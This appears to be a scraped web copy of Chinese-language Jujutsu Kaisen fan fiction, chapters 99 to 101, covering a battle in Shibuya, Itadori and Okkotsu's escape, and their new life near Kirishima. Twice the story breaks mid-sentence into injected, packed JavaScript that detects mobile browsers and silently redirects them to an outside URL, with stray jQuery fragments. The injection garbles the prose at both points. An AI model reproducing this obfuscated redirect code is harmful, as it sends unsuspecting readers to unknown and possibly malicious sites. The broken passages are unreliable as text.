高空中为同伴指引方位的西宫桃发出了信号:“加茂同学,在我正下方!”
附着着咒力的箭雨落下,可加茂宪纪瞄准的目标却纹丝未动。仅凭咒力防御就挡下了这些进攻......加茂宪纪问道:“东堂去哪了?!”
“好像是半路和东京校的师生汇合了,”见偷袭无果,西宫桃也像禅院真依一样迅速熄灭灯光、离开了自己所在的点位,“那个是乙骨吗?为什么站在那里不动?”
人渐渐地聚集过来了。
“悠仁。”乙骨忧太呼唤着虎杖悠仁的名字。
只是短短的两个音节,虎杖悠仁却能从中听出太多太多。他摇了摇头,所以乙骨忧太重新将头转了回去,凝视着站在对面的男人。
羂索故意等人围过来,恐怕是想像术式公开一样借助束缚的力量。虎杖悠仁向真人的方向走了两步,握住了深深插入地表的钢筋。
“虎杖,你不会真的将他认作自己的妈妈了吧?”哪怕大脑被贯穿、已如待宰羔羊一般,真人却依旧恣意挥霍着最后的求生机会。
虎杖悠仁将钢筋拔了出来。
“你确定不再好好组织一下语言了吗,真人?”他居高临下,琥珀色的眼睛里却不见温度,难掩厌恶:“毕竟是你的遗言了。”
缝合脸上的异色双瞳用尽全力向上看着,真人忽然说道:“我明白的,虎杖悠仁。毕竟我是诞生自你们人类的相互憎恶中的啊。”
闻言,虎杖悠仁不再犹豫,直接抬脚将它踢向了羂索。
真人在拖延时间。这个狡猾而聪明的咒灵比虎杖悠仁还要安静,企图以此蛰伏起来,默默等待着熔断的术式重新恢复。
正如虎杖悠仁所料,真人被踢出去的头颅尚未落地就开始膨胀变形,此时它终于面露惧意,拼尽全力挤出因狂妄地展开领域后接近枯竭的咒力,揉捏灵魂改造肉|体,企图逃出生天。
【咒灵操术】已经捉到了真人的尾巴,闪烁的咒力混合着咒灵为了求生而发出的丑陋嘶叫,慢慢将它搓成了一个荧蓝色的咒灵玉。与漏瑚那枚的混沌颜色不同,代表着真人的咒灵玉在羂索的指间泛着剔透的光。
羂索没有片刻停顿,直接将其吞了下去。
聚集而来的咒术师占据了战场的一角,九相图们围到了虎杖悠仁身侧,不远不近地警惕着乙骨忧太和羂索。这里已经被大致分成了三波势力,咒术师、羂索,以及单独站在两方之间的乙骨忧太和虎杖悠仁。
“我很高兴你想明白了,悠仁。”羂索打了个响指。
这个称呼......大多数只从传言和乙骨忧太口中了解虎杖悠仁的咒术师们对这个粉发少年的印象出现了转变,朦胧的形象在亲眼见到他的瞬间凝实,只是与众人预想中的不太一样。
伏黑惠觉得自己已经有些不太认识这个老朋友了。
你到底在想什么啊,虎杖?!
大脑与时间会改变人的记忆,让好的更好,坏的更坏。
羂索有点想把漏瑚叫出来,向它炫耀一下当初被它们嗤笑过的说法变成了现实——他就说在涩谷,虎杖悠仁会帮着他的。不过这样的行为有些过于幼稚,最终这种冲动只化作羂索嘴边的两声轻笑。
太久没人跟他好好聊过天,偶尔就会产生一些疯狂的想法......好在很快就能变得有趣起来了,想必也能遇到一些老熟人,到时候再找人说说话吧。
迫使虎杖悠仁主动放弃真人这个筹码的理由,其实是他从羂索的叙述中发现了一直以来自己误解的事情。
想要达成“让全人类变成术师,创造一个没有诅咒与咒灵的世界”这个目标,就必须开启全人类与天元的超重复同化。虎杖悠仁本以为自己的目标是半路终点,现在看来真正的胜负其实要等到最后冲线前的那十几米的距离来决定。
这对他来说是个坏消息。如果终点是在半途中,他大可以在接近目的地的时候直接跳车,或者将载有他和羂索的车子彻底翻下公路。而现在,直到羂索口中的同化开始后,他才有机会从羂索手里夺走达成所愿的那枚按钮。
拿真人来威胁羂索毫无用处,只要理解了“实现理想的终点相互重合”这一事实,羂索断言虎杖悠仁绝对会帮助自己,而虎杖悠仁也明白了在看见终点线前他们只能共同前进。所以哪怕脑子里想着要如何杀死对方,他也必须忍受羂索走在自己身前。
“人来得差不多了,”羂索做出了一个邀请的手势,“介意我多说两句吗。”
一道所有人都分外陌生的女声在他们身后响起,带着与这片遍地疮痍的战场全然不符的张扬明媚:“不如你先来回答我之前的问题吧,夏油?”
黄发的特级咒术师单手叉腰,挑起眉毛看向羂索额头上的缝合线。
“我还在想你什么时候回来,九十九由基。呵呵,看过他的记忆之后,我的确有些期待与你来一场对话,”男人歪着头,关心地问道,“里梅还好吗?”
九十九由基:“嗯?你说那个用冰的术师?我还是第一次见到等级那么高的冰系术式,不过她似乎没心情和我打。”
默默混入咒术师队伍中的日下部笃也挠了挠头。熊猫和狗卷棘他们已经走到了伏黑惠那边,不过倒是不像日下部笃也那样满身狼狈,连维持从容的外套都被搞丢了。
在羂索看来,九十九由基是难得与他思考过相同问题的咒术师。他们的分歧点在于“咒力最优化”后可能会造成的结果,九十九由基认为是将全人类变成术师——这倒是应和了虎杖悠仁的想法,而羂索显然不觉得咒力的极限仍停留在他们能够想象到的层面。
乙骨忧太持刀的手指突然缩了一下。从刚才开始就有人一直盯着他......站在伏黑惠身后的那个人,是个没见过的面孔呢。
“怎么了?”虎杖悠仁的声音轻若无物。
“不,”乙骨忧太忍受着伏黑甚尔如有实质的目光,“没什么。”
这种略含挑衅意味的盯视让他如坐针毡,而且那个人的身上似乎有什么不太一样的地方。陡然升起的危机感让乙骨忧太下意识地紧绷起来,不得不分神一直留意着伏黑甚尔那边的一举一动。
“你认识那个杂毛小子旁边的人吗?眼神很可怕的那个。”
伏黑惠压着火气回道:“认识。多少好好叫......”
仅仅是被伏黑甚尔打岔了一下,眼睛一睁一闭,突然爆发的混战已经完全超出了伏黑惠的预料。
九十九由基握着由术式创造出的咒具化式神暴起,向羂索发起了进攻。
拦下这一击的是虎杖悠仁。凰轮·迦楼罗的身体由多段苍白的骨节组成,每一节之间都有筋肉状的暗红色物质连接,当它们放松就能像鞭子一样甩动起来,再加上九十九由基自身的术式,尾端击出的力量难以想象。
甚至被甩出了音爆一般的响动,虎杖悠仁冲到九十九由基面前时只想着拦下这次进攻,不论是挥拳改变鞭尾的落点还是直接抬手抓住它都好。
然而这一次反倒是他轻敌了。
音爆在耳边炸响,这一击的速度与力量就已经完完全全地展现在了虎杖悠仁面前。和里香玩过的那些躲避球游戏练就的反应力终究救了他一命,双手在式神击打到他身上之前护住了头面,随后他便被不容置疑地抽飞了出去。
乙骨忧太刚想起步追上去,锐利的眸光一转,堪堪在接近视线死角的地方看到了闪身来到他身后的伏黑甚尔。
“随便来玩玩吧。”天与暴君说道。
九十九由基用余光扫了一眼虎杖悠仁倒飞的方向,吃了她附加假想质量的一击却还能保持肉|体完整,这个粉发少年的身体素质超乎了她的想象。
但她也仅仅只是让这样的感叹划过大脑,随即和所有无关紧要的念想一起丢在了一旁。羂索刚才和她说了那么久根本不是为了宣扬他的大业,而是单纯地为了拖延时间罢了!
“——【无为转变】。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378238|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
你发现的太晚了,九十九。
随着脚下代表术式远程发动的回路慢慢升上天空,羂索的野心也随之浮现在了他的脸上。
这是他从未流露出来过的欲望,他的执着、他的疯狂与狂热在此刻化作了像是快要凝固的沥青一样的表情,将他披在身上的外皮扯掉了一点,罕见地允许旁人窥探他的内心。
以九十九由基的暴起为信号,咒术师们几乎同时向羂索的方向发起了进攻。大多数都只是隔靴搔痒,羂索发动了用“漩涡”提取出来的【无为转变】之后仅凭单手就拦下了大部分的进攻。
至少他现在占据的这具身体是货真价实的特级。
既然事已至此……九十九由基松开了握住凰轮·迦楼罗嘴巴的手,让这个具备一定自主行动能力的式神挥着同样由白骨制成的翅膀在她身旁游动着。
“这次你又搞什么名堂?”
虎杖悠仁全然错过了羂索的回答。他从地上爬起来后第一反应是去摸自己的双臂,确认它们还在且只是有点轻微的骨裂之后,迅速用反转术式治疗了伤处,确保能够行动自如。
施展【无为转变】留下的印记还在所有人的头顶,不知道羂索又做了什么,这里仿佛再现了一年前的百鬼夜行一般,无数咒灵从漆黑的阴影中爬了出来,用扭曲的声音庆贺着它们的自由。
简直就是他想象中咒灵操使死亡后会展现出的地狱景象啊。伏黑甚尔第一眼还没认出那个诅咒师,只是觉得丸子头加怪刘海的组合有点眼熟。看见咒灵玉的时候他终于从回忆中捡起了被他在薨星宫前的迷宫中斩伤的咒灵操使。
乙骨忧太横刀挡下了伏黑甚尔的挥斩,因为手上传回的力道而罕见地面目狰狞起来。
这家伙?!
他终于发现伏黑甚尔的身上有哪些不对劲的地方了,这个人是天与咒缚,和禅院真希是同类型的存在,不过与她不太一样的是这个男人完全没有咒力!
咒术界有过这样的人吗?
伏黑甚尔不准备继续和他角力,只通过这一击他就大概能琢磨出乙骨忧太并不擅长“技巧”,纯粹是在用咒力强化身体力量来进行对抗。
“你们这些咒术师就爱这么做啊,”一臂长的刀形咒具在伏黑甚尔手中也显得灵巧万分,术师杀手找准了乙骨忧太动作中的空隙,准备下一次突袭,“依赖着父母给你们的恩惠,离开了咒力就什么都做不到了。”
然而直奔防御空隙而去的刀却被横向打来的一拳改变了挥斩的路径,伏黑甚尔有点惊讶地垂下眼睛,被迫反手接下了不给他反应时间的下一拳。
增幅的力量让伏黑甚尔的双脚向后退去,在地面上留下了明显的后撤痕迹。
“有两下子。”术师杀手嘴角的疤扭曲着向上扬起,因为遇到“同类”而对这场战斗提起了一些兴致。
虎杖悠仁顺势捉住了他的手臂,将之固定在了原地。
附着咒力的刀已然挥下,负极能量也已涌入大脑的回路,斩击呼之欲出。
乙骨忧太和虎杖悠仁不需要眼神对视或语言沟通,天衣无缝的配合伴随着共同度过的前半生深深刻入了他们的身体,化作本能。更何况,在保护对方这一点上总能激起他们更凶狠的战斗本性。
因为不想让对方受伤,所以更要在那之前排除一切威胁。
被两股杀意包围的伏黑甚尔同样战意高昂,完全无视了追在身后大喊着什么的伏黑惠,全心全意投入到了厮杀当中。
“说什么恩惠......”白色的式神从乙骨忧太脚边的阴影中扑了出来,黑发少年皱着眉头反驳道:“什么都不知道就少在那边随便评价他人的人生!!”
“难道这不是事实?”伏黑甚尔嗤笑,三个力量怪物的战斗一路横冲直撞,直奔仍勉强连通着电力的购物大厦冲了过去。
伏黑甚尔的刀蹭过了乙骨忧太的脸颊,带起的血线溅到了虎杖悠仁的脸上。
已经够了。这样的争论没有任何意义。每个人的灵魂都是孤独的,说服另一个人接受自己的想法,企图用自己的价值观改变另外一个独立的灵魂......大概是需要像太阳一样明亮、像天空一样宽广才能拥有足够的勇气和耐心来做到吧。
越长大,越看得见世界之广袤,越能明白自己的弱小与乏力。
而且,那很傲慢不是吗?
只是做到不让自己后悔就已经拼尽了全力,也许他曾经还有余力思考何为正确的事,不过现如今他只想抓住自己来之不易的、如泡影般的梦想。
虎杖悠仁拉住了乙骨忧太。正极能量涌入回路,术式逆转,在愤怒与疲惫中展现出来的超级重压终结了除他们之外所有人、所有东西的行动。
温度从交握的双手处传了回来。
虎杖悠仁的嘴角向下坠着,放任自己沉溺于这样的温暖,纵容自己自暴自弃地想——不如就这样和忧太一起跑到谁也找不到的地方去吧。
但是,不行啊。他还没有创造那个理想中的世界,也还没有亲手杀死羂索,他怎么能......
“好啊,”乙骨忧太收起手臂,将他们十指相扣的手掌放到了脸旁,轻声应道,“那我们就走吧。”
100. 第 100 章
他们逃走了。
只有他们两个人。
就像小时候逃进森林里一样,当里香的大手揽住虎杖悠仁的腰时,他下意识地将自己完全交给了那堪称轻柔的怀抱,任由式神带着他远离了地面。
风声很畅快。
这与他使用术式抹除自身重力时的感觉不同,他能感受到自己的重量,这让他万分安心。虎杖悠仁靠着里香的胸膛,望向乘在它另一侧肩膀上的乙骨忧太。
他们走得很决绝,没有人回头也没有人后悔。
似乎留意到了他的目光,黑发少年微微侧过头,笑着说道:“累了的话,就先睡一觉吧。没关系的,悠仁。”
于是他听话地闭上了眼睛,将一切杂乱无章的思绪都扔到了脑后,让夜风将它们全都带走了。
2018年10月31日晚,羂索开启了名为死灭回游的生存游戏。包括东京、仙台、樱岛等多地在内,羂索通过远程施展的结界术创造出了十处游戏场,参与到这场死亡游戏中的不光有咒术师、被【无为转变】改造了大脑结构的普通人,还有成千上万被放出的咒灵与凭借咒物受肉的近千名古代术师。
当晚的涩谷混战以何种结尾收场,亦或是尚未完全露出其真面目的死灭回游,以及失去了五条悟的咒术界将作何反应......在新一天的朝阳升起时,至少在此时此刻,都与他们无关了。
虎杖悠仁睁开眼的时候恍惚了一下。
薄薄的日光打在了他的脸上,鼻尖能够嗅到沾上了晨露的草尖的香气。他差一点以为他又回到了小时候,那时他离大地更近,刮过山涧的风带着野性的气息,哪怕来到钢铁丛生的都市里偶尔也能感觉到它们的存在。
他翻了个身,手掌摸到了一件已经被露水闷得潮潮的衣物,不过还是有调皮的草尖钻过了细密丝线间的孔洞,搔刮着他的掌心。
似曾相识的景象唤起了内心的回忆。虎杖悠仁想起他们乘着虹龙降落东京的那个早上,但河堤旁的草坡又让他记起了更早的事。他和乙骨忧太第一次相遇就是相互拉着一起跑到了这样的地方,最后都脱力躺倒在了草坡上。
那时的草尖也像现在这样刺挠着他们的皮肤,带起阵阵痒意。
乙骨忧太迎着朝阳坐在他身边,目光仿佛落在了很远很远的地方。
虎杖悠仁就这样盯着他的侧脸,既不准备出声也不打算起身,仿佛这个草坡对他有什么别样的吸引力似的。不过,乙骨忧太只穿了一件短袖,铺在他身下的这件外套果然是黑发少年的高专制服。
呼吸声的变化隐没于晨风间,乙骨忧太感觉到身边的人捉住了他的一只手。接下来就是温暖而柔软的触感,然后听到虎杖悠仁嘀嘀咕咕的声音:“你不冷吗?”
乙骨忧太反手揪了一下他的脸:“有一点点。”
“高专的制服怎么连草尖都挡不住哇......”虎杖悠仁揉着脖子坐起身,闭上眼睛吐槽道。
“据说是对诅咒之类的有抵抗性,似乎还有一点点防划伤的作用......但是说来说去还是衣服啦,也许就是对草尖这样无害的东西毫无办法诶。”
虎杖悠仁带着鼻音长长地“嗯”了一声。
他们心有灵犀地并排坐在草坡上,看着太阳从远方此起彼伏的屋顶树冠后慢慢升起,直到下方的弧线变得圆满,阳光也不再像清晨时分那样带着明显的冷意,晒得裸露在外的手背面庞隐隐发烫。
“所以,”虎杖悠仁缓缓开口,话语中带着前所未有的迷茫,“接下来我们要怎么办呢。”
不是疑问句,因为他知道乙骨忧太不会替他给出答案。不过在虎杖悠仁想明白这个问题之前,乙骨忧太觉得自己可以为他们创造出一个暂时休憩的空间。
于是他说道:“现在狱门疆在我们手上......要么找到剩下的原版黑绳,要么花费时间精力再做一根。在这期间你可以尽情休息和思考,悠仁。”
虎杖悠仁觉得怀里的方形咒物烫得可怕。
“......我讨厌这种感觉。”他突然没头没尾地说。
为了达成什么目的,就必须舍弃什么东西。连在乎的人的价值都渐渐变得模糊起来,生命的意义暧昧不清......长高后再走入野花丛就很难像小时候那般觉得自己也能变成柔嫩的小花融入其中了。他会思考为什么它们这般脆弱,花茎只需要微不足道的力量就能被折断,然而野花丛还是每年按时回到虎杖悠仁的视野中,装点着记忆里的夏天。
夏油杰曾质问他为什么不变得自私一点,也许他天性如此,也许只是走在前方的诅咒师未曾看透他的本质,误认为他其实是个圣母心泛滥的大好人......他才不是这样的人。五条悟、伏黑惠他们才是这种人吧?
“你要是这样想,不就和夏油先生差不多了吗?”乙骨忧太抱着双膝,将下巴搭在了膝盖上。
他的眼神飘忽不定,声音也在风中打着旋:“大家都太孤独了,所以想要找到一个能够完全理解自己的人,但这世界上怎么可能有两个思维想法都完全一模一样的人呢?因为一个人太孤单,而看清自己、接受自己又太困难,把自己变成别人口中的模样会更轻松一些吧。”
“忧太,”虎杖悠仁惊奇地看着他,“你一本正经地说出了很有道理的话诶!”
乙骨忧太缩了缩脖子:“偶尔睡不着的时候也会胡思乱想啦......”
想干什么就干什么,不在乎别人的看法也不在乎对错,论及这样活着的人,虎杖悠仁就只能想到羂索。
“好吧,”他叹了口气,从草地上站起身,拍开外套表面沾上的草叶,将它还给了乙骨忧太,“那我们就一个一个来吧。”
目之所及的远方,数个直通天际的漆黑结界预示着这个世界开始了它的“变革”。一些人期待着,一些人惧怕着,而更多的人对此一无所知,仍旧重复着一成不变却至关重要的“生活”。
——
东京高专,薨星宫本殿前。
九十九由基插着腰,等待着最后一波准备面见天元的人从甬道中走出来。
“嗯哼,差不多就这些人吧,”作为目前‘仅剩’的特级咒术师,她也终于变相地承担起了特级之名需要肩负的责任,“人太多了的话,老人家也是会害羞的。”
黄发术师微微侧头看向了迷宫之后直通天际的御神木。
东京校的伏黑惠、禅院真希,京都校的机械丸、加茂宪纪,还有日下部笃也、七海建人,以及......
“真没想到还能在国内见到你,冥小姐。”九十九由基说道。
“呵呵,”冥冥掀起了遮挡视线的头发,笑道,“我原本的确不打算再回来了,不过某人提前立下的保险居然生效了,所以......哈哈。”
机械丸和伏黑惠:“......”
他们没什么心虚的地方,只是对居然有这么多人同时选择了同一种保险而感到惊奇。
——他们不约而同地以“五条悟死亡或因封印等原因无法自主行动”为基准,筹备了重重保险。
五条悟自己也用这样的条件换来了冥冥的助力。机械丸曾在与真人决战前留下了后手,假设真的发生了上述情况,一个提前设定好的“机械丸”程序将作为最后的保险,代替他与曾经的伙伴们并肩作战。
至于伏黑惠为什么会露出同样的表情,那就得说回禅院家了。现任家主禅院直毘人在涩谷之战结束后,召集了禅院扇、禅院甚一和禅院直哉等人宣布要将家主之位传给伏黑惠。
“哈哈,我能想象到直哉那混蛋脸上的表情有多精彩了!”禅院真希开怀大笑。
“......应该由你来继承那个家主之位的,真希学姐。”
禅院真希潇洒地说:“我的确还是以这为目标的,惠。但是现在的我还不够格,虽然很不甘心,可这个位子在你手里总比落在直哉身上要好得多。”
禅院直毘人因为驰援涩谷而从五条家狠狠捞了一笔,估计在发现五条悟被封印后就聪明地想要离开即将掀起腥风血雨的咒术界......那老头倒是懂得明哲保身,他弟弟、也就是禅院真希的父亲禅院扇没有明面反对,伏黑惠的叔叔禅院甚一也对那个位置没什么想法,反应最激烈的就是眼看着家主之位即将到手却被亲爹扔给了外人的禅院直哉。
“他可不是会善罢甘休的那种人吧。”伏黑惠说道。
禅院真希的脑海中闪过了伏黑甚尔的身影:“哼,走着瞧吧。”
日下部笃也倒是想问为什么夜蛾正道不自己过来......现在咒术总监部分为了两派,一些保守派老头居然主张将五条悟定为涩谷事变的共同主犯,还说什么试图解除封印的行为都视为同罪,除此之外还下达了对虎杖悠仁、乙骨忧太以及夜蛾正道在内的几个死刑命令。
但是没有人真的听他们的话就是了,因为总监部里还有力挺五条悟的人在。日下部笃也的消息灵通一些,多少听说过一年前夏油杰闯入薨星宫后又去屠了高层的所有人,估计五条悟就是借着那次机会塞了点人进去吧。
真是的,还以为最强只是个破坏力超强的工作狂,没想到在这种方面也挺有头脑的嘛。
“所以说,夜蛾校长为什么要让我过来啊,”想摸鱼的成年人叹气,向七海建人抱怨道,“熊猫那边不是没什么事嘛。”
过来搭话的是九十九由基:“诶?没想到最强一级咒术师居然是这种性格的人吗?不用太过谦虚,日下部。”
“不,倒也没在谦虚......呃、算了,总之,我们要怎么穿过那片全是空性结界的迷宫?”日下部笃也挠了挠头,问道。
“这个嘛,”九十九由基的视线越过废墟般的平台,落了下去,“那就要看祂欢不欢迎我们了。”
在这一切扭曲、一切循环开始的地方,封闭太久的门扉终于为众生敞开了一条缝隙。
——
乙骨忧太摸到了墙壁上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378239|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开关。
他们去了九州南部的鹿儿岛,在雾岛市高千穗牧场对面的街区租下了一处老旧的一户建。这个举动并没有花费太多的时间和精力,因为死灭回游最南端的结界就在樱岛,多数嗅觉敏锐且有能力的人都开始考虑搬离这附近。
屋主人有意举家离开这个国家,对这处闲置已久的房屋处置很随意,乙骨忧太甚至觉得他们很可能不会再回来了。
屋内的灯光亮起时,虎杖悠仁拉上了窗帘,挡住了笼罩整座樱岛的漆黑结界。
这里的位置挨着高千穗峰,离雾岛神宫也很近,但是和樱岛之间还隔着一整个雾岛市中心城镇,可即便如此也望不见结界的顶端,仿佛它们真的直直地捅破了天空。
虎杖悠仁想找个万里无云的好天气看看它们到底有多高,不过雾岛总是灰蒙蒙的,他们又住在了接近山区的地方,更难得见到好天气。
这里不像东京那样喧闹繁华,也不像小时候的那个村子一样拥挤。仅仅刚来到这里不到一天,虎杖悠仁就已经察觉到了这里的与众不同。这附近零零散散分布着很多独栋住宅,大多互不打扰,大家都各自过着自己的生活。
比起挤在山间的小村子,这里也许会更“孤独”一些吧。
“太好了,灶台还能用,”乙骨忧太检查了房间的电路和燃气,又打开水龙头,“我来做晚饭吧。”
虎杖悠仁应了一声:“好哦。”
他从窗边离开,准备去帮乙骨忧太处理路上顺手买的食材。
路上的那家蔬菜店居然也叫山之惠,过于熟悉的名字将虎杖悠仁的记忆拉回了村子里。他们路过的时候已经接近日落,不少不太新鲜的菜被放在一个大筐里统一打折出售,乙骨忧太和虎杖悠仁选走了够他们解决一顿晚饭的量。买的时候没决定好做什么,挑得菜也大多都是能放得住的,想着万一房子里没有冰箱或者存不住东西,也不会浪费太多。
村里那家蔬菜店一年到头都没见过什么新鲜的东西。
锅碗瓢盆之类的也一应俱全,橱柜里甚至还有冬天用的被炉。
乙骨忧太包揽了晚饭的一切准备工作,所以虎杖悠仁决定上二楼收拾一下他们的卧室。木制楼梯踩上去咯吱作响,散发着老旧房屋应有的气息。楼上有一间铺了榻榻米的大卧房,右侧是浴室和杂物间。
虎杖悠仁在地板上抹了一把,意外地没有发现多少灰尘,简单打扫一下就行了。榻榻米的情况也比预想中的好,他只是用软刷扫了一遍浮尘,再用湿抹布和干抹布分别擦拭,最后打开窗户让表面的潮意散去就大功告成。
他打开卧室里的橱柜,里面空空如也。
“糟糕,现在去买还来得及吗?”他嘟囔着将柜门重新关上,准备下楼赶快解决这个问题。这里的确很“安静”,可相对的也不太方便。
“诶?被褥的话,完全不用担心哦,”乙骨忧太颇有仪式感地戴上了房主人留下的黄色小爱心围裙,托着调味碟向站在楼梯上的虎杖悠仁说道,“我有在里香那里寄存了一些生活用品,等下我跟你一起上去吧。”
咖喱块也是蔬菜店的奶奶送给他们的,因为看他们买了胡萝卜和土豆之类的食材。
香气已经从厨房飘了出来,虎杖悠仁吸了吸鼻子,捂住了腹部。
“再等一小会儿,”乙骨忧太有点好笑地看着他,“马上就好啦。”
所以虎杖悠仁乖乖拉开椅子坐到了餐桌旁,撑着脸看向时刻关注着火候的乙骨忧太。
“这附近怎么会有制作黑绳的诅咒啊?”
乙骨忧太搅动汤汁,今晚没有主食,所以调味就稍微淡一些。
“只是制作出来的效果相似而已,这和草原上的诅咒并非同一种,”他缓缓解释道,“雾岛神宫更后面的高千穗峰,传说是天孙降临之地,山顶插着伊邪那岐命持握的天沼矛。”
这些和神话有关的内容在普通人看来可能只是一些混乱的神明纪事,但却与咒术有着千丝万缕的联系。
“现在山顶上的那东西是假的啦,不过因为这附近一直流传着这样的传说,的确生成过真东西。”
汤勺和锅底相撞,发出沉闷的刮擦声。乙骨忧太关了火,开始将热气腾腾的咖喱盛到盘子里:“五条老师说他以前见过一个特级咒具,拥有能够强制解除一切使用中的术式的能力。听起来和黑绳的效果很像吧?”
虎杖悠仁有点惊讶地说:“不,怎么看都是你说的这个东西更厉害一点吧!”
他的肩膀提了起来,不太确定地问道:“难道连五条先生的无下限都......?”
乙骨忧太摇摇头:“他没说,不过我觉得应该是可以的。我知道你在想什么,悠仁,但是很遗憾,那个咒具已经被破坏掉了。”
粉发少年已经习惯了希望落空的落差感,于是沉下心继续听乙骨忧太讲话。
“它叫天逆鉾,”两盘咖喱被端上了桌,“就是很久之前插在高千穗峰山顶的真东西。”
101. 第 101 章
不知道源于何处的诅咒游荡在高千穗峰面积庞大的森林中,它们的等级很低,脆弱且稀少,因此如何轻柔地捉住而不是直接将它们祓除反倒是那段日子最令乙骨忧太头疼的问题。
也许它们的力量曾经强大到寄宿在不知何时、不知何人立于山顶的天之琼矛上,铸就出了能力惊人的特级咒具天逆鉾,但现在它们也如同非洲草原上随着人员减少而日渐衰亡的诅咒一般,慢慢地消失着。
也许还是和传说有关吧,现在的人们谈论起“高千穗峰山顶的那个天沼矛,对,就是被坂本龙马拔出来过的那个!”的时候,大多数人都不会再相信那曾是伊邪那岐命持握过的东西。就如同信仰一样,信的人变少了,也就逐渐变成了一种形式。
咖喱的咸淡正正好,热乎乎的。
“明天我们就到山上去吗?”虎杖悠仁问道。
乙骨忧太反问:“你想去吗?”
虎杖悠仁挪开了视线:“上去看看吧。”
他们轻描淡写地越过了这个话题,一楼的灯是暖黄色的,看上去已经很久没有换新,抬头就能看到一些黑色的斑点趴在灯罩的底部。
虎杖悠仁收拾碗筷的时候,乙骨忧太打开了电视机。皮质沙发的绿色也透着一股陈旧的感觉,像是扶手和挡板之类的地方已经出现了细密的裂口,偶尔能够看到被挤出来的填充物。颇有一定厚度的电视机费了很大劲才被打开,好在信号没有受到影响。
女性播报员在水流声中报道着涩谷的情况,乙骨忧太换了几个频道,几乎所有的新闻都在关注着相同的内容。仅仅过去了一天,官方也没有给出任何回应。
他看了一眼虎杖悠仁的背影,然后低下头点开了手机。
伏黑惠他们已经在天元那里把死灭回游的规则研究得差不多了,而且还拿到了开门的钥匙。
“伏黑他们怎么说?”
乙骨忧太抬起头,看到虎杖悠仁已经摘下了围裙,擦着手靠在水池旁垂眼看他。
他决定和盘托出,交给虎杖悠仁自己来决定:“狱门疆有两个。‘表’和‘里’,我们手上的那个是‘表’,伏黑同学他们拿到的是‘里’。不过他们那个只是一把锁,我们这里的是唯一的出入口。”
他说得足够清晰,让虎杖悠仁一下就明白了过来。
那么现在解开狱门疆的方法就变成了三种。其一是狱门疆的使用者主动放开封印,这是最不可能实现的,其二就是直接用黑绳或其他方法从“表”入手,最后就是咒术师们手上的“里”。表里连通,只要破坏了其中之一,就能解封五条悟。
“方法呢?”虎杖悠仁继续问道。
天逆鉾、黑绳,如果全知的术师告知了咒术师们那截真正的黑绳的下落,那么虎杖悠仁就要谨慎地决定下一步行动了。
乙骨忧太摇摇头:“他们没能得到黑绳的下落。”
这对虎杖悠仁来说是个好消息,可他却笑不出来。这种事情居然能称为好消息......唯有在心中苦笑才能驱散一些难言的沮丧。
“但是,似乎有一个古代术师的术式也能破坏狱门疆的封印,”乙骨忧太说道,“据说是在死灭回游开启后完成受肉的术师,只是不知道她究竟在哪里。”
虎杖悠仁双手抱臂,有些焦躁地敲着手指。
半晌,他终于开口道:“我们来做黑绳吧。”
狱门疆如果在羂索手上,此刻估计已经被他丢入火山口或者海沟深处,以此确保哪怕咒术师们打开了封印的后门,五条悟在离开狱门疆的瞬间也会因为恶劣的环境而无法逃脱。
虎杖悠仁需要尽可能地保证自己拥有解封狱门疆的主动权。不论是方法,还是时机。
他身上的筹码太少,不到万不得已......他承认自己的脑袋里装着一些疯狂的想法,逐渐膨胀的执念已经开始挤占他心中那盏衡量价值的天平,就像他放任涩谷的战斗发生、甚至亲手设下了那些阻拦普通人离开的结界。
一只手伸过来,捂住了他的眼睛。
对他的皮肤温度来说有点过于冰凉的手掌落在眼睫上,留下了舒适的感觉。
“你又在想那些会让你觉得痛苦的事了,悠仁,”乙骨忧太靠了过来,将他困在了自己和冷硬的水池边缘之间,“你总是学不会变得自私一点。为什么不能放过你自己呢?”
心跳变得快了一点。虎杖悠仁几乎立刻叹了一口气,似乎从脑海中掉下来了什么沉重的东西,压瘪了他的肺,如果不将里面的空气悉数吐出的话就没办法承受似的叹息着。
“我有什么办法啊......我大概天生就是这样吧,总想高高在上地去做那些正确的事。也不是不能接受死亡,只是如果有人因为我的选择而得到了错误的命运,我不知道要如何面对他们。”
黑暗中,他听到乙骨忧太苦笑了两声,嘴巴里嘟囔着:“什么啊,夏油先生居然还说你不够傲慢......悠仁。听我说,悠仁。”
他松开了手,虎杖悠仁眨着眼睛重新适应了光亮,看着近在咫尺的漆黑眼眸。
乙骨忧太的手找上了他搭在水池边的手掌,将那些冰凉的手指蹭入了他的指缝间:“就算我再怎么劝说,你还是不会改变自己的想法吧,毕竟你就是这样固执的人啊,悠仁。你知道谁会真的在意与自己毫无关系之人的命运吗?你要承担他们的痛苦,却无法享受他们的幸福,即便如此你也想要让所有人得到应有的结局......也许就是正确的死亡。”
“但是,就连神明和佛祖都没办法做到这一点的啊。”
不够纯粹的傲慢才是一切痛苦的根源。
虎杖悠仁的瞳孔缩了一下。他望着乙骨忧太,手被攥得死紧,身体却仿佛被摄住了一般动弹不得。
“你记着他们生命的价值,在乎着人生的意义......你难道不知道神明和佛祖是怎么做的吗?我们和里香不是早就亲自体会过了吗?”
祂们听着信徒们的祈祷与忏悔,然后呢?
